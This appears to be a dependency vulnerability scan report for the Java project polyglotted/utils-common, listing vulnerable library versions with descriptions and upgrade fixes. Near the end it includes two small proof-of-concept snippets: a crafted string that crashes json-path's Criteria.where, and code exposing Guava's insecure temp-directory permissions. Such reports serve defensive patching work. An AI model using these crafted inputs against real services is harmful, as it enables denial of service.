Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
ws
package
Remediation
Upgrade net.minidev:json-smart
to version 1.3.2, 2.3.1, 2.4.1 or higher.
References
medium severity
new
- Vulnerable module: org.bouncycastle:bcprov-jdk15on
- Introduced through: org.bouncycastle:bcprov-jdk15on@1.64
Detailed paths
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › org.bouncycastle:bcprov-jdk15on@1.64
Overview
org.bouncycastle:bcprov-jdk15on is a Java implementation of cryptographic algorithms.
Affected versions of this package are vulnerable to Observable Timing Discrepancy via the PKCS#1 1.5 and OAEP decryption process. An attacker can recover ciphertexts via a side-channel attack by exploiting the Marvin security flaw. The PKCS#1 1.5 attack vector leaks data via javax.crypto.Cipher
exceptions and the OAEP interface vector leaks via the bit size of the decrypted data.
Remediation
There is no fixed version for org.bouncycastle:bcprov-jdk15on
.
References
medium severity
- Vulnerable module: org.bouncycastle:bcprov-jdk15on
- Introduced through: org.bouncycastle:bcprov-jdk15on@1.64
Detailed paths
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › org.bouncycastle:bcprov-jdk15on@1.64
Overview
org.bouncycastle:bcprov-jdk15on is a Java implementation of cryptographic algorithms.
Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') within the org.bouncycastle.openssl.PEMParser
class. Parsing a file that has crafted ASN.1
data through the PEMParser
causes an OutOfMemoryError
.
Workaround
The attack can be avoided by filtering PEM
requests containing EXTERNAL
tagged encodings.
Remediation
There is no fixed version for org.bouncycastle:bcprov-jdk15on
.
References
medium severity
- Vulnerable module: org.yaml:snakeyaml
- Introduced through: org.yaml:snakeyaml@1.25 and com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.11.0
Detailed paths
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › org.yaml:snakeyaml@1.25Remediation: Upgrade to org.yaml:snakeyaml@1.26.
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.11.0 › org.yaml:snakeyaml@1.25Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.11.0.
Overview
org.yaml:snakeyaml is a YAML 1.1 parser and emitter for Java.
Affected versions of this package are vulnerable to Denial of Service (DoS). The Alias feature in SnakeYAML 1.18 allows entity expansion during a load operation, a related issue to CVE-2003-1564.
Note While the Maintainer acknowledges the existence of the issue, they believe it should be solved by sanitizing the inputStream
to the parser
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
ws
package
Remediation
Upgrade org.yaml:snakeyaml
to version 1.26 or higher.
References
medium severity
- Vulnerable module: com.fasterxml.woodstox:woodstox-core
- Introduced through: com.fasterxml.woodstox:woodstox-core@5.3.0
Detailed paths
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › com.fasterxml.woodstox:woodstox-core@5.3.0Remediation: Upgrade to com.fasterxml.woodstox:woodstox-core@5.4.0.
Overview
Affected versions of this package are vulnerable to Denial of Service (DoS). If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by stack overflow.
NOTE: This vulnerability was originally reported five times and received five CVE IDs. These have since been corrected to be duplicate references to the same issue.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
ws
package
Remediation
Upgrade com.fasterxml.woodstox:woodstox-core
to version 5.4.0, 6.4.0 or higher.
References
medium severity
- Vulnerable module: net.minidev:json-smart
- Introduced through: net.minidev:json-smart@2.3 and com.jayway.jsonpath:json-path@2.4.0
Detailed paths
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › net.minidev:json-smart@2.3Remediation: Upgrade to net.minidev:json-smart@2.4.5.
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › com.jayway.jsonpath:json-path@2.4.0 › net.minidev:json-smart@2.3Remediation: Upgrade to com.jayway.jsonpath:json-path@2.6.0.
Overview
net.minidev:json-smart is a Java JSON parser.
Affected versions of this package are vulnerable to Denial of Service (DoS) via the indexOf
function of JSONParserByteArray
which causes a denial of service (DOS) via a crafted web request.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
ws
package
Remediation
Upgrade net.minidev:json-smart
to version 1.3.3, 2.4.5 or higher.
References
medium severity
- Vulnerable module: org.apache.httpcomponents:httpclient
- Introduced through: org.apache.httpcomponents:httpclient@4.5.10, org.apache.httpcomponents:httpasyncclient@4.1.4 and others
Detailed paths
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › org.apache.httpcomponents:httpclient@4.5.10Remediation: Upgrade to org.apache.httpcomponents:httpclient@4.5.13.
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › org.apache.httpcomponents:httpasyncclient@4.1.4 › org.apache.httpcomponents:httpclient@4.5.10Remediation: Upgrade to org.apache.httpcomponents:httpasyncclient@4.1.5.
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › org.apache.httpcomponents:httpmime@4.5.10 › org.apache.httpcomponents:httpclient@4.5.10Remediation: Upgrade to org.apache.httpcomponents:httpmime@4.5.13.
Overview
org.apache.httpcomponents:httpclient is a HttpClient component of the Apache HttpComponents project.
Affected versions of this package are vulnerable to Improper Input Validation. Apache HttpClient can misinterpret malformed authority component in request URIs passed to the library as java.net.URI
object and pick the wrong target host for request execution.
Remediation
Upgrade org.apache.httpcomponents:httpclient
to version 4.5.13 or higher.
References
medium severity
- Vulnerable module: org.bouncycastle:bcprov-jdk15on
- Introduced through: org.bouncycastle:bcprov-jdk15on@1.64
Detailed paths
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › org.bouncycastle:bcprov-jdk15on@1.64Remediation: Upgrade to org.bouncycastle:bcprov-jdk15on@1.66.
Overview
org.bouncycastle:bcprov-jdk15on is a Java implementation of cryptographic algorithms.
Affected versions of this package are vulnerable to Timing Attack. A timing issue within the EC math library can expose information about the private key when an attacker is able to observe timing information for the generation of multiple deterministic ECDSA signatures.
Remediation
Upgrade org.bouncycastle:bcprov-jdk15on
to version 1.66 or higher.
References
medium severity
- Vulnerable module: org.bouncycastle:bcprov-jdk15on
- Introduced through: org.bouncycastle:bcprov-jdk15on@1.64
Detailed paths
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › org.bouncycastle:bcprov-jdk15on@1.64Remediation: Upgrade to org.bouncycastle:bcprov-jdk15on@1.69.
Overview
org.bouncycastle:bcprov-jdk15on is a Java implementation of cryptographic algorithms.
Affected versions of this package are vulnerable to Cryptographic Issues via weak key-hash message authentication code (HMAC) that is only 16 bits long which can result in hash collisions, as a result of an error within the BKS version 1 keystore (BKS-V1) files and could lead to an attacker being able to affect the integrity of these files. This vulnerability was introduced following an incomplete fix for CVE-2018-5382.
Remediation
Upgrade org.bouncycastle:bcprov-jdk15on
to version 1.69 or higher.
References
medium severity
- Vulnerable module: org.bouncycastle:bcprov-jdk15on
- Introduced through: org.bouncycastle:bcprov-jdk15on@1.64
Detailed paths
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › org.bouncycastle:bcprov-jdk15on@1.64
Overview
org.bouncycastle:bcprov-jdk15on is a Java implementation of cryptographic algorithms.
Affected versions of this package are vulnerable to Information Exposure due to missing validation for the X.500 name of any certificate, subject, or issuer. The presence of a wild card may lead to information disclosure. This could allow a malicious user to obtain unauthorized information via blind LDAP Injection, exploring the environment and enumerating data.
Note:
The exploit depends on the structure of the target LDAP directory as well as what kind of errors are exposed to the user.
Remediation
A fix was pushed into the master
branch but not yet published.
References
medium severity
- Vulnerable module: org.yaml:snakeyaml
- Introduced through: org.yaml:snakeyaml@1.25 and com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.11.0
Detailed paths
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › org.yaml:snakeyaml@1.25Remediation: Upgrade to org.yaml:snakeyaml@1.31.
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.11.0 › org.yaml:snakeyaml@1.25Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.13.4.
Overview
org.yaml:snakeyaml is a YAML 1.1 parser and emitter for Java.
Affected versions of this package are vulnerable to Stack-based Buffer Overflow when parsing crafted untrusted YAML files, which can lead to a denial-of-service.
Remediation
Upgrade org.yaml:snakeyaml
to version 1.31 or higher.
References
low severity
- Vulnerable module: com.jayway.jsonpath:json-path
- Introduced through: com.jayway.jsonpath:json-path@2.4.0
Detailed paths
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › com.jayway.jsonpath:json-path@2.4.0Remediation: Upgrade to com.jayway.jsonpath:json-path@2.9.0.
Overview
Affected versions of this package are vulnerable to Buffer Overflow via the deprecated Criteria.parse
or Criteria.where
methods. An attacker can disrupt the regular operation of the application by supplying a specially crafted input that triggers a stack overflow.
Exploiting this vulnerability requires insecure configurations on the server side, for example - handling requests in a one single thread.
PoC
import com.jayway.jsonpath.Criteria;
import org.junit.Test;
public class CriteriaFuzzerWhere1 {
// Stack overflow
@Test
public void whereFuzzerTest() {
try {
Criteria result = Criteria.where("[']',");
} catch (Exception e) {
}
}
}
Remediation
Upgrade com.jayway.jsonpath:json-path
to version 2.9.0 or higher.
References
low severity
- Vulnerable module: org.apache.logging.log4j:log4j-core
- Introduced through: org.apache.logging.log4j:log4j-core@2.12.1 and org.apache.logging.log4j:log4j-slf4j-impl@2.12.1
Detailed paths
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › org.apache.logging.log4j:log4j-core@2.12.1Remediation: Upgrade to org.apache.logging.log4j:log4j-core@2.13.2.
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › org.apache.logging.log4j:log4j-slf4j-impl@2.12.1 › org.apache.logging.log4j:log4j-core@2.12.1Remediation: Upgrade to org.apache.logging.log4j:log4j-slf4j-impl@2.13.2.
Overview
org.apache.logging.log4j:log4j-core is a logging library for Java.
Affected versions of this package are vulnerable to Man-in-the-Middle (MitM). Improper validation of certificate with host mismatch in Apache Log4j SMTP appender. This could allow an SMTPS connection to be intercepted by a man-in-the-middle attack which could leak any log messages sent through that appender.
Remediation
Upgrade org.apache.logging.log4j:log4j-core
to version 2.13.2 or higher.
References
low severity
- Vulnerable module: org.yaml:snakeyaml
- Introduced through: org.yaml:snakeyaml@1.25 and com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.11.0
Detailed paths
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › org.yaml:snakeyaml@1.25Remediation: Upgrade to org.yaml:snakeyaml@1.32.
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.11.0 › org.yaml:snakeyaml@1.25Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.14.0.
Overview
org.yaml:snakeyaml is a YAML 1.1 parser and emitter for Java.
Affected versions of this package are vulnerable to Stack-based Buffer Overflow when parsing crafted untrusted YAML files, which can lead to a denial-of-service.
Remediation
Upgrade org.yaml:snakeyaml
to version 1.32 or higher.
References
low severity
- Vulnerable module: org.yaml:snakeyaml
- Introduced through: org.yaml:snakeyaml@1.25 and com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.11.0
Detailed paths
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › org.yaml:snakeyaml@1.25Remediation: Upgrade to org.yaml:snakeyaml@1.31.
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.11.0 › org.yaml:snakeyaml@1.25Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.13.4.
Overview
org.yaml:snakeyaml is a YAML 1.1 parser and emitter for Java.
Affected versions of this package are vulnerable to Stack-based Buffer Overflow in org.yaml.snakeyaml.constructor.BaseConstructor.constructObject
when parsing crafted untrusted YAML files, which can lead to a denial-of-service.
Remediation
Upgrade org.yaml:snakeyaml
to version 1.31 or higher.
References
low severity
- Vulnerable module: org.yaml:snakeyaml
- Introduced through: org.yaml:snakeyaml@1.25 and com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.11.0
Detailed paths
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › org.yaml:snakeyaml@1.25Remediation: Upgrade to org.yaml:snakeyaml@1.32.
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.11.0 › org.yaml:snakeyaml@1.25Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.14.0.
Overview
org.yaml:snakeyaml is a YAML 1.1 parser and emitter for Java.
Affected versions of this package are vulnerable to Stack-based Buffer Overflow when supplied with untrusted input, due to improper limitation for incoming data.
Remediation
Upgrade org.yaml:snakeyaml
to version 1.32 or higher.
References
low severity
- Vulnerable module: com.google.guava:guava
- Introduced through: com.google.guava:guava@28.1-jre and com.fasterxml.jackson.datatype:jackson-datatype-guava@2.11.0
Detailed paths
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › com.google.guava:guava@28.1-jreRemediation: Upgrade to com.google.guava:guava@32.0.0-jre.
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › com.fasterxml.jackson.datatype:jackson-datatype-guava@2.11.0 › com.google.guava:guava@28.1-jre
Overview
com.google.guava:guava is a set of core libraries that includes new collection types (such as multimap and multiset,immutable collections, a graph library, functional types, an in-memory cache and more.
Affected versions of this package are vulnerable to Creation of Temporary File in Directory with Insecure Permissions due to the use of Java's default temporary directory for file creation in FileBackedOutputStream
. Other users and apps on the machine with access to the default Java temporary directory can access the files created by this class. This more fully addresses the underlying issue described in CVE-2020-8908, by deprecating the permissive temp file creation behavior.
NOTE: Even though the security vulnerability is fixed in version 32.0.0, the maintainers recommend using version 32.0.1, as version 32.0.0 breaks some functionality under Windows.
Remediation
Upgrade com.google.guava:guava
to version 32.0.0-android, 32.0.0-jre or higher.
References
low severity
- Vulnerable module: com.google.guava:guava
- Introduced through: com.google.guava:guava@28.1-jre and com.fasterxml.jackson.datatype:jackson-datatype-guava@2.11.0
Detailed paths
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › com.google.guava:guava@28.1-jreRemediation: Upgrade to com.google.guava:guava@30.0-jre.
-
Introduced through: polyglotted/utils-common@polyglotted/utils-common#0a763b98f9b95e00965c891d83b137c67a1b7917 › com.fasterxml.jackson.datatype:jackson-datatype-guava@2.11.0 › com.google.guava:guava@28.1-jre
Overview
com.google.guava:guava is a set of core libraries that includes new collection types (such as multimap and multiset,immutable collections, a graph library, functional types, an in-memory cache and more.
Affected versions of this package are vulnerable to Information Disclosure.
The file permissions on the file created by com.google.common.io.Files.createTempDir
allow an attacker running a malicious program co-resident on the same machine to steal secrets stored in this directory. This is because, by default, on unix-like operating systems the /tmp directory is shared between all users, so if the correct file permissions aren't set by the directory/file creator, the file becomes readable by all other users on that system.
PoC
File guavaTempDir = com.google.common.io.Files.createTempDir();
System.out.println("Guava Temp Dir: " + guavaTempDir.getName());
runLS(guavaTempDir.getParentFile(), guavaTempDir); // Prints the file permissions -> drwxr-xr-x
File child = new File(guavaTempDir, "guava-child.txt");
child.createNewFile();
runLS(guavaTempDir, child); // Prints the file permissions -> -rw-r--r--
For Android developers, choosing a temporary directory API provided by Android is recommended, such as context.getCacheDir()
. For other Java developers, we recommend migrating to the Java 7 API java.nio.file.Files.createTempDirectory()
which explicitly configures permissions of 700, or configuring the Java runtime's java.io.tmpdir system property to point to a location whose permissions are appropriately configured.
Remediation
There is no fix for com.google.guava:guava
. However, in version 30.0 and above, the vulnerable functionality has been deprecated. In oder to mitigate this vulnerability, upgrade to version 30.0 or higher and ensure your dependencies don't use the createTempDir or createTempFile methods.